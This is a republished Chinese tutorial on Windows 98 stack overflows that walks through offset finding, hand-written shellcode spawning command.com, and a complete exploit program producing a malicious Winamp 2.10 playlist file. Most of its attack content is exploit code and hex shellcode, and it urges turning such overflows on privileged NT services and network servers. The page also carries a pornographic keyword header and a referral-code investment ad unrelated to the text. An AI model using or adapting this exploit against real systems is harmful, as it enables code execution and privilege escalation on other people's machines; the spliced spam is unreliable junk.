日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

window系统下的堆栈溢出 作者:ipxodi

發布時間:2025/3/15 windows 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 window系统下的堆栈溢出 作者:ipxodi 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?

國內私募機構九鼎控股打造APP,來就送?20元現金領取地址:http://jdb.jiudingcapital.com/phone.html
內部邀請碼:C8E245J?(不寫邀請碼,沒有現金送)
國內私募機構九鼎控股打造,九鼎投資是在全國股份轉讓系統掛牌的公眾公司,股票代碼為430719,為“中國PE第一股”,市值超1000億元。? ------------------------------------------------------------------------------------------------------------------------------------------------------------------

?

window系統下的堆棧溢出

?

作者:ipxodi<< mailto:ipxodi@263.net >>

?

????◆原理篇

?

這一講我們來看看windows系統下的程序。我們的目的是研究如何利用windows程序的

堆棧溢出漏洞。

?

讓我們從頭開始。windows 98第二版

?

首先,我們來寫一個問題程序:

#include

?

int main()

{

char name[32];

gets(name);

for(int i=0;i<32&&name[i];i++)

printf("//0x%x",name[i]);

}

?

相信大家都看出來了,gets(name)對name數組沒有作邊界檢查。那么我們可以給程序

一個很長的串,肯定可以覆蓋堆棧中的返回地址。

?

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

?

到這里,出現了那個熟悉的對話框“該程序執行了非法操作。。。”,太好了,點擊

詳細信息按鈕,看到EIP的值是0x61616161,哈哈,對話框還會把返回地址告訴我們。

這個功能太好了,我們可以選擇一個序列的輸入串,精確的確定存放返回地址的偏移位置。

?

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1

12345678910111213141516171819202122232425262728293031323334353637383940

/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31

/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32

到這里,又出現了那個熟悉的對話框“改程序執行了非法操作。。。”,點擊詳細信息

按鈕,下面是詳細信息:

?

VUNERABLE 在 00de:32363235 的模塊

<未知> 中導致無效頁錯誤。

Registers:

EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246

EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233

ECX=00000020 DS=0187 ESI=816bffcc FS=11df

EDX=00411a68 ES=0187 EDI=00000000 GS=0000

Bytes at CS:EIP:

?

Stack dump:

32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68

0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c

?

哦哦,EIP的內容為0x32363235,就是2625,EBP的內容為0x32343233,就是2423,計算

一下可以知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name變量

地址開始偏移40處,是ret的地址。我們可以給name數組輸入我們精心編寫的shellcode。

我們只要把name的開始地址放在溢出字符串的地址40就可以了。那么,name的開始地址

是多少呢?

?

通過上面的stack dump 我們可以看到,當前ESP所指向的地址0x0064fe00,內容為

0x32383237,那么計算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在windows

系統,其他運行進程保持不變的情況下。我們每次執行vunera~1的堆棧的開始地址都

是相同的。也就是說,每次運行,name的地址都是0x64fdd4。

?

講到這里,大家一定已經發現了這樣一個情況:在win系統中,由于有地址沖突檢測,

出錯時寄存器影像和堆棧影像,使得我們對堆棧溢出漏洞可以進行精確的分析

溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。

?

OK,萬事具備,只差shellcode了。

?

首先,考慮一下我們的shellcode要作什么?顯然,根據以往的經驗,我們想開一個

dos窗口,這樣在這個窗口下,我們就可以作很多事情。

?

開一個dos窗口的程序如下:

#include

#include

?

typedef void (*MYPROC)(LPTSTR);

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

?

char dllbuf[11] = "msvcrt.dll";

char sysbuf[7] = "system";

char cmdbuf[16] = "command.com";

?

?

LibHandle = LoadLibrary(dllbuf);

?

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

?

(ProcAdd) (cmdbuf);

?

return 0;

}

?

這個程序有必要詳細解釋一下。我們知道執行一個command.com就可以獲得一個

dos窗口。在C庫函數里面,語句system(command.com);將完成我們需要的功能。

但是,windows不像UNIX那樣使用系統調用來實現關鍵函數。對于我們的程序來說,

windows通過動態鏈接庫來提供系統函數。這就是所謂的Dll's。

?

因此,當我們想調用一個系統函數的時候,并不能直接引用他。我們必須找到那個

包含此函數的動態鏈接庫,由該動態鏈接庫提供這個函數的地址。DLL本身也有一個

基本地址,該DLL每一次被加載都是從這個基本地址加載。比如,system函數由msvcrt.dll

(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從

0x78000000地址開始。system函數位于msvcrt.dll的一個固定偏移處(這個偏移地址

只與msvcrt.dll的版本有關,不同的版本可能偏移地址不同)。我的系統上,

msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。

?

所以,要想執行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態鏈接庫

msvcrt.dll,獲得動態鏈接庫的句柄。然后使用GetProcAddress(LibHandle, system)

獲得 system的真實地址。之后才能使用這個真實地址來調用system函數。

?

好了,現在可以編譯執行,結果正確,我們得到了一個dos框。

?

現在對這個程序進行調試跟蹤匯編語言,可以得到:

?

15: LibHandle = LoadLibrary(dllbuf);

00401075 lea edx,dword ptr [dllbuf]

00401078 push edx

00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]

0040107F mov dword ptr [LibHandle],eax

16:

17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

00401082 lea eax,dword ptr [sysbuf]

00401085 push eax

00401086 mov ecx,dword ptr [LibHandle]

00401089 push ecx

0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]

00401090 mov dword ptr [ProcAdd],eax

;現在,eax的值為0x78019824就是system的真實地址。

;這個地址對于我的機器而言是唯一的。不用每次都找了。

18:

19: (ProcAdd) (cmdbuf);

00401093 lea edx,dword ptr [cmdbuf]

;使用堆棧傳遞參數,只有一個參數,就是字符串"command.com"的地址

00401096 push edx

00401097 call dword ptr [ProcAdd]

0040109A add esp,4

?

現在我們可以寫出一段匯編代碼來完成system,看以看我們的執行system調用的代碼

是否能夠像我們設計的那樣工作:

?

#include

#include

?

void main()

{

?

LoadLibrary("msvcrt.dll");

?

__asm {

mov esp,ebp ;把ebp的內容賦值給esp

push ebp ;保存ebp,esp-4

mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針

xor edi,edi ;

push edi ;壓入0,esp-4,

;作用是構造字符串的結尾/0字符。

sub esp,08h ;加上上面,一共有12個字節,

;用來放"command.com"。

mov byte ptr [ebp-0ch],63h ;

mov byte ptr [ebp-0bh],6fh ;

mov byte ptr [ebp-0ah],6dh ;

mov byte ptr [ebp-09h],6Dh ;

mov byte ptr [ebp-08h],61h ;

mov byte ptr [ebp-07h],6eh ;

mov byte ptr [ebp-06h],64h ;

mov byte ptr [ebp-05h],2Eh ;

mov byte ptr [ebp-04h],63h ;

mov byte ptr [ebp-03h],6fh ;

mov byte ptr [ebp-02h],6dh ;生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ;串地址作為參數入棧

mov eax, 0x78019824 ;

call eax ;調用system

}

}

?

編譯,然后運行。好,DOS框出來了。在提示符下輸入dir,copy......是不是想起了

當年用286的時候了?

?

敲exit退出來,哎呀,發生了非法操作。Access Violation。這是肯定的,因為我們的

程序已經把堆棧指針搞亂了。

?

對上面的算法進行優化,現在我們可以寫出shellcode如下:

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

?

還記得第二講中那個測試shellcode的基本程序嗎?我們可以用他來測試這個shellcode:

#include

#include

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

?

int main() {

int *ret;

LoadLibrary("msvcrt.dll");

?

ret = (int *)&ret + 2; //ret 等于main()的返回地址

//(+2是因為:有push ebp ,否則加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。

?

}

編譯運行,得到dos對話框。

?

現在總結一下。我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算

偏移地址,以及如何編寫一個shellcode以得到dos。理論上,你已經具備了利用堆棧溢出

的能力了,下面,我們通過實戰來真正掌握他。

?

?

?

◆溢出字符串的設計

?

我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算

偏移地址,以及如何編寫一個shellcode以得到dos。

?

但是這遠遠不夠。

?

大家知道windows系統的用戶進程空間是0--2G,操作系統所占的為2--4G。

事實上用戶進程的加載位置為:0x00400000.這個進程的所有指令地址,數據地址

和堆棧指針都會含有0,那么我們的返回地址就必然含有0。

?

現在來看一看我們的shellcode:NNNNSSSSAAAAAA。顯然,我們的shellcode

由于A里面含有0,所以就變成了NNNNNNNNSSSSSA,這樣,我們的返回地址A必須精確

的放在確切的函數堆棧中的ret位置。

?

事實上,在上一講里面,我們已經掌握了很精確的找到這個位置的方法。

?

其次,windows在執行mov esp,ebp的時候,把廢棄不用的堆棧用隨機數據填充

(實驗所得,機制如何,大家一起研究),因此我們的shellcode可能會被覆蓋!

----這下完蛋了,我們的shellcode都沒了,返回地址正確又有什么用??

?

所以,我們的shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區

溢出發生之后,堆棧的布局如下:

?

內存底部 內存頂部

buffer EBP ret

<------ [NNNNNNNNNNN][N ] [A ]SSSS

^&buffer

堆棧頂部 堆棧底部

?

看到了嗎?我們的A覆蓋了返回地址。S位于堆棧的底部。A的內容,就是指向S的調用。

?

但是,剛才我們說過A里面是含有0字符的,這樣的溢出字符串,在A處就被0阻斷,

根本無法到shellcode。我們需要把A改成不包含0的地址。

?

好像沒有辦法了,是嗎?現在我們的A如何能做到即可以跳轉到我們的shellcode,

又可以不包含0字節呢?

?

大家可能還記得當年IIS4.0遠程攻擊的作者dark spyrit AKA Barnaby Jack吧?

他在99年的Phrack Magzine55.15 上提出了使用系統核心dll中的指令來完成跳轉

的思想。我不得不說這是一個天才的想法。事實上,這一技巧開創了一個嶄新

的windows緩沖區溢出的思路。

?

思路是這樣的:返回地址A的內容不指向我們的shellcode開始地點,否則的話

A里面必然含有0。我們知道系統核心的dll都是在2-4G,也就是從0x80000000到

0xffffffff,這里面的指令地址將不包含0,(當然幾個別的除外,我們可以不用他)。

因此,我們可以令返回地址A等于一個系統核心dll中的指令的地址,這個指令的

作用就是call/jmp 我們的shellcode。

?

但是他怎么才能知道我們的shellcode的地址呢?

?

答案是:用寄存器。因為在溢出發生的時候,除了eip跳到了系統核心dll去之外,

其他的通用寄存器都保持不變。在寄存器里面一定有我們的shellcode的相關信息。

比如說,敵人的函數如果有參數的話,那么我們的A覆蓋了他的返回地址,shellcode

的開始地址則恰恰在他的第一個參數的位置上,那我們就可以用call [ebp+4]或者

我們假設敵人第一個參數的地址在eax,那我們就可以使用call/jmp eax來調用shellcode。

這些寄存器的值,我們可以在第一講里面提到的“關閉程序框”里面獲得寄存器和

堆棧的詳細資料。

?

那么我們怎么知道哪里有call/jmp eax什么的呢?我們又怎么知道這些指令是每次都在

內存中可以直接調用呢?

?

答案是:系統核心dll。系統核心dll包括kernel32.dll,user32.dll,gdi32.dll.

這些dll是一直位于內存中而且對應于固定的版本windows加載的位置是固定的。

你可以在這些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序

自己的import列表了。看看他是否load了這個dll。不過一般的說,這幾個dll就夠了。

?

好,那么我們的shellcode最終為:

NNNNNNNNNNNNNNNASSSSSSSS

其中:N為NOP指令

A為指向某一條call/jmp指令的地址,這個call/jmp指令位于系統核心內存>0x80000000,

這個call/jmp指令具體的內容,需要根據我們exploit出來的結果分析得知。

S:shellcode。

?

有了這些基礎知識,我們來分析一個實例。

?

大家都有winamp吧,他的2.10有緩沖區漏洞,下面我們來實現一個exploit。

?

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名長度

如果大于一定長度就會發生堆棧溢出。我們可以寫出測試串,精確的測試。

test.cpp

----------------------------------------------------------------------------

#include

?

int main()

{

char buffer[640];

char eip[8] = "";

char sploit[256] = "";

FILE *file;

?

for(int x=0;x<640;x++)

{

switch(x%4) {

case 0: buffer[x] = 'A';break;

case 1: buffer[x] = 'A'+x/26%26/26%26; break;

case 2: buffer[x] = 'A'+x/26%26; break;

case 3: buffer[x] = 'A'+x%26;break;

?

}

}

buffer[x]=0;

file = fopen("crAsh.pls","wb");

?

fprintf(file, "[playlist]/n");

fprintf(file, "File1=");

fprintf(file, "%s", buffer);

fprintf(file, "%s", eip);

fprintf(file, "%s", sploit);

fprintf(file, "/nNumberOfEntries=1");

?

fclose(file);

printf("/t created file crAsh.pls loaded with the exploit./n");

return 0;

}

----------------------------------------------------------------------------

算法很簡單,是寫出一個crach.pls文件,內容可以根據那幾個fprintf看出來的。

我就不講了,其中buffer的內容為測試用的字符串。這個測試程序可以測試

最長為26^3的串,足夠了。

?

編譯執行,看看結果,嘿,發生了堆棧溢出,結果如下:

?

WINAMP 在 00de:4c574141 的模塊

<未知> 中導致無效頁錯誤。

Registers:

EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206

EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4

ECX=00000000 DS=0187 ESI=00445638 FS=4bd7

EDX=005b02dc ES=0187 EDI=00000001 GS=4206

Bytes at CS:EIP:

?

Stack dump:

50574141 54574141 58574141 42584141 46584141 4a584141

4e584141 52584141 56584141 5a584141 44594141 48594141

4c594141 50594141

?

根據eip=4141574c計算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.

好,溢出的位置為580。

?

大家現在知道我們的溢出字符串中,返回地址A應該在串的580處,那么我們應該

讓他使用什么call/jmp指令以達到shellcode呢?

?

看看寄存器dump,我們發現ESP里面的內容是41415750,恰好是4141574c之后的

第一個數。看來ESP指向我們的shellcode,太棒了!我們使用指令:

jmp ESP 就可以執行我們的shellcode了。

?

現在找出jmp esp的指令碼為 FF E4,ctrl-D 調出s-ice,看看內存里面那里有FF E4.

因為系統核心dll的加載地址都是從地址0xBf000000開始,所以我們

搜索s Bf000000 L ffffffff ff,e4

得到了哪些結果?

?

一堆呀,這第一個是:BFF795A3。看看softice里面的進程名稱欄:

Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。

ok,問題解決,我們現在可以確定在buffer〔580〕處,寫入四個字節:

"/xa3/x95/xf7/xbf".這就是我們的溢出字符串中的返回地址A。

?

好了,現在溢出字符串已經基本分析完了,就差shellcode了。

下面我們來寫shellcode。

我們的shellcode要開一個dos窗口。C語言的算法描述是:

?

LoadLibrary("msvcrt.dll");

system("command.com");

exit(0);

很簡單,是不是?下面是匯編代碼:

?

首先要LoadLibrary("msvcrt.dll");

push ebp

mov ebp,esp

xor eax,eax

push eax

push eax

push eax

mov byte ptr[ebp-0Ch],4Dh

mov byte ptr[ebp-0Bh],53h

mov byte ptr[ebp-0Ah],56h

mov byte ptr[ebp-09h],43h

mov byte ptr[ebp-08h],52h

mov byte ptr[ebp-07h],54h

mov byte ptr[ebp-06h],2Eh

mov byte ptr[ebp-05h],44h

mov byte ptr[ebp-04h],4Ch

mov byte ptr[ebp-03h],4Ch

mov edx,0xBFF776D4 //LoadLibrary

push edx

lea eax,[ebp-0Ch]

push eax

call dword ptr[ebp-10h]

然后是開一個dos窗口:

push ebp

mov ebp, esp

sub esp, 0000002C

mov eax, 6D6D6F63

mov dword ptr [ebp-0C], eax

mov eax, 2E646E61

mov dword ptr [ebp-08], eax

mov eax, 226D6F63

mov dword ptr [ebp-04], eax

xor edx, edx

mov byte ptr [ebp-01], dl

lea eax, dword ptr [ebp-0C]

push eax

mov eax, 78019824 //system

call eax

最后執行exit,退出來。

?

push ebp

mov ebp,esp

mov edx,0xFFFFFFFF

sub edx,0x87FFAAFB//exit

push edx

xor eax,eax

push eax

call dword ptr[ebp-04h]

?

簡單說一下,msvcrt.dll是運行C語言標準庫函數所必須的一個動態鏈接庫。

要想使用system,exit,必須加載這個庫。而winamp沒有import這個庫,

所譯我們需要自己加載。

指令 mov edx,0xBFF776D4中,0xBFF776D4是函數LoadLibraryA的地址。

他的代碼在kernel32.dll中,是被winamp加載了的dll。我的機器上kernel32.dll

版本是: (v4.10.2222) .

0x78019824 是msvcrt.dll里面的函數system的地址。版本:(v6.00.8397.0)

0x78005504 是msvcrt.dll里面的函數exit的地址。版本:(v6.00.8397.0)

由于里面有0,所以使用兩條指令來完成:

mov edx,0xFFFFFFFF

sub edx,0x87FFAAFB//==mov edx,0x78005504

?

編譯,找出二進制code:

shellcode:

"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"

"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"

"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"

"/xFF/x55/xF0"

"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"

"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"

"/x50/xB8/x24/x98/x01/x78/xFF/xD0"

"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

?

好了,所有的算法都討論完了,下一講我們就來實現一個exploit

?

?

?

?

?

◆最后的完善

?

我們把前面寫的測試程序稍加改動就是一個exploit程序:

exploit.cpp

----------------------------------------------------------------------------

#include

?

int main()

{

?

?

char buffer[640];

char eip[8] = "/xa3/x95/xf7/xBF";

char shellcode[256] =

"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load

"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"

"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"

"/xFF/x55/xF0"

"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"

"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"

"/x50/xB8/x24/x98/x01/x78/xFF/xD0"

"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

?

FILE *file;

?

for(int x=0;x<580;x++)

{

buffer[x] = 0x90;

}

?

file = fopen("crAsh.pls","wb");

?

fprintf(file, "[playlist]/n");

fprintf(file, "File1=");

fprintf(file, "%s", buffer);

fprintf(file, "%s", eip);

fprintf(file, "%s", shellcode);

fprintf(file, "/nNumberOfEntries=1");

?

fclose(file);

printf("/t created file crAsh.pls loaded with the exploit./n");

return 0;

}

----------------------------------------------------------------------------

?

OK,運行他,生成一個文件叫做crash.pls.在winamp里面打開這個playlist,

就應該出一個dos。出來了嗎?

?

哎呀,怎么又是錯誤?

?

WINAMP 在 017f:004200c3 的模塊

WINAMP.EXE 中導致無效頁錯誤。

Registers:

EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206

EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4

ECX=00000000 DS=0187 ESI=00445638 FS=444f

EDX=005b02dc ES=0187 EDI=00000001 GS=4446

Bytes at CS:EIP:

00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b

Stack dump:

0a006da1 8000009d 0000442a 90000000 90909090 90909090

90909090 90909090 90909090 90909090 90909090 90909090

90909090 90909090 90909090 90909090

?

看看出錯信息,EIP是4200c3,看來已經開始執行我們的shellcode了,怎么會有

無效頁錯誤呢?看來我們的shellcode有問題。

?

這個時候,s-ice就又派上用場了,跟蹤一下看看:

ctrl-d

bpx bff795a3(就是我們的jmp esp)

x

好,現在運行winamp,打開文件crash.pls,被s-ice攔下,開始跟蹤。一個jmp esp

之后,就到了我們的shellcode上,繼續執行,看到了什么嗎?

?

奇怪!我們的shellcode變短了,到B8249801,后面就沒有了。這是怎么回事?

應該是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?

?

看來敵人把輸入的溢出字符串作樂處理,把不能作為文件名的字符都作為0處理了

(事實上這是win32api函數作的處理)。我們的shellcode被截斷了。

?

我在第4講第一節就說過對這種問題的對策。這個問題的解決需要我們改換shellcode,

去掉那些有問題的字符:/x01

?

我們作如下替換:

mov eax,78019824 ----> mov eax,ffffffff

sub eax,87fe67db

匯編得到:

?

xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF

/x2d/xdB/x67/xFe/x87

得到下面的新程序:

/* Stack based buffer overflow exploit for Winamp v2.10

* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net

*

* For a detailed description on the exploit see my advisory.

*

* Tested with Winamp v2.10 using Windows98 on an Intel

* PII 400 with 128MB RAM

*

* http://indigo.ie/~lmf

?

* modify by ipxodi 20-01-2k

?

* for windows98 the 2nd version and for a new shellcode.

?

* windows98 v 4.10.2222.A chinese version

* pII 366 with 64MB RAM(Not a good PC,en?)

?

* ipxodi@263.net

*/

?

#include

?

int main()

{

?

char buffer[640];

char eip[8] = "/xa3/x95/xf7/xbf";

char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"

"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"

"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"

"/xFF/x55/xF0"

"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"

"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"

"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"

"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

?

FILE *file;

?

for(int x=0;x<580;x++)

{

buffer[x] = 0x90;

}

buffer[x]=0;

file = fopen("crAsh.pls","wb");

?

fprintf(file, "[playlist]/n");

fprintf(file, "File1=");

fprintf(file, "%s", buffer);

fprintf(file, "%s", eip);

fprintf(file, "%s", sploit);

fprintf(file, "/nNumberOfEntries=1");

?

fclose(file);

printf("/t created file crAsh.pls loaded with the exploit./n");

return 0;

}

?

?

OK,運行他,生成一個文件叫做crash.pls.在winamp里面打開這個playlist,

結果如下,我可愛的dos出來了:

?

Microsoft(R) Windows 98

(C)Copyright Microsoft Corp 1981-1999.

?

D:/hacker/document/ipxodi>dir

.........................

........就不貼了.........

?

?

總結:

?

經過這次實戰的演練,大家一定對windows下的buffer overflow有了很深的掌握了。

我們可以看到,windows下的堆棧溢出攻擊和unix下的,原理基本相同。但是,

由于windows用戶進程地址空間分配和堆棧處理有其獨立的特點,導致了windows

環境下堆棧溢出攻擊時,使用的堆棧溢出字符串,與unix下的,區別很大。這也

是我在寫完linux下的堆棧溢出系列之后,另外寫windows系列的原因。

?

另外,大家從破解的過程中,可以發現我一再強調windows的版本。事實上,這

也導致了windows下的exploit不具有通用性。大家的windows版本不一,

而exploit使用了很多動態鏈接庫里面的庫函數,其地址都是與dll的版本有

關系的。不同的dll版本,里面的庫函數的偏移地址就可能(注意:是可能)

不同。因為windows的patch天天有,他的一些dll就更新很快。甚至可能不同

語言版本的windows,其核心dll的版本都不同。用戶的dll一變更,

那么,我們的exploit里面的shellcode就要重新寫。

?

為了解決這個問題,我想我們可以盡量減少固定地址的使用。即,使用

GetProcAddress來獲得我們將使用的每一個系統函數,當然這就大大加長了

我們的shellcode。但是,這也無法消除對kernel32.dll的中LoadLibrary和

GetProcAddress的地址的直接引用,因為這兩個是shellcode中最基本的

函數,自然就導致了對kernel32.dll版本的依賴。

?

這里奉勸大家,當你寫的exploit發生無效頁錯誤時,不要灰心。運行sice,

跟蹤你的shellcode,會發現問題的根源的。

?

因此,這也回答了去年xsz,littleworm它們的問題。當時我們實驗IIS4.0

的exploit總是沒有成功,client端執行完了以后server端我們經常看到

access violation的框,就是因為shellcode的版本依賴問題導致的。

?

所以,對于windows下的堆棧溢出exploit,必須公開原代碼,才能由其他人完成

別的版本的修改,這一點,大家以后公布exploit時,要記住。

?

說一句題外話:

很多人運行了堆棧溢出exploit以后沒有成功,就認為自己的機器沒有毛病。

對此,dark spyrit AKA Barnaby Jack曾有這樣的建議:

If the exploit failed......

Do not determine the threat to your servers solely on the results of one

public exploit - the vulnerability exists, fix it. If you think that was

the only demonstration code floating around you need your head examined.

?

以前咱們水木黑客版97年堆棧溢出大討論的時候,rainer就很高水平的探討過

windows下的buffer overflow。他的文章現在還在,大家可以去精華區看看。

不過當時只是探討原理,還停留在堆棧溢出的可行性,遠沒有探討利用他來攻擊。

我也曾經以為windows的堆棧溢出攻擊是不必要的。

?

后來,NT的中普通用戶獲取admin,我想到過仿照UNIX,搞緩沖區溢出攻擊。

因為NT里面有很多系統進程,都是以system賬號啟動的。如果我們可以將它們

overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),將擁有

超級用戶的權限。當然可以為所欲為了。

?

這只是windows NT下堆棧溢出攻擊的一個應用。去年,我研究IIS4.0的溢出之后,

發現帶有問題的windows網絡服務程序導致了windows堆棧溢出,可以幫助我們

獲得遠程控制。才認識到windows堆棧溢出攻擊將是一個很有研究價值的攻擊

手段。

?

在后續的研究中,有時候因為困難幾乎要放棄。好在有小懶蟲(sysword),

小四(hellguard),康師傅(kxn)這些網友

給我的督促和幫助。在此感謝,同時感謝以前一起討論過windows系列堆棧溢出

的朋友littleworm,xsz它們。

?

最后,我希望我的講座作為拋磚引玉,能夠引發大家更深入的探討。希望大家在

看了之后,能夠對windows堆棧溢出技術有一定了了解。如果大家能夠提出改進的

算法,或者發現新的exploit,就真正是光大了我們黑客版的精神。

?

讓我們以下面這句話共勉:

"If you assume that there's no hope, you guarantee there will be no hope.

If you assume that there is an instinct for freedom, there are

opportunities to change things."

?

-Noam Chomsky

轉載于:https://www.cnblogs.com/AloneSword/archive/2004/08/22/2237741.html

總結

以上是生活随笔為你收集整理的window系统下的堆栈溢出 作者:ipxodi的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。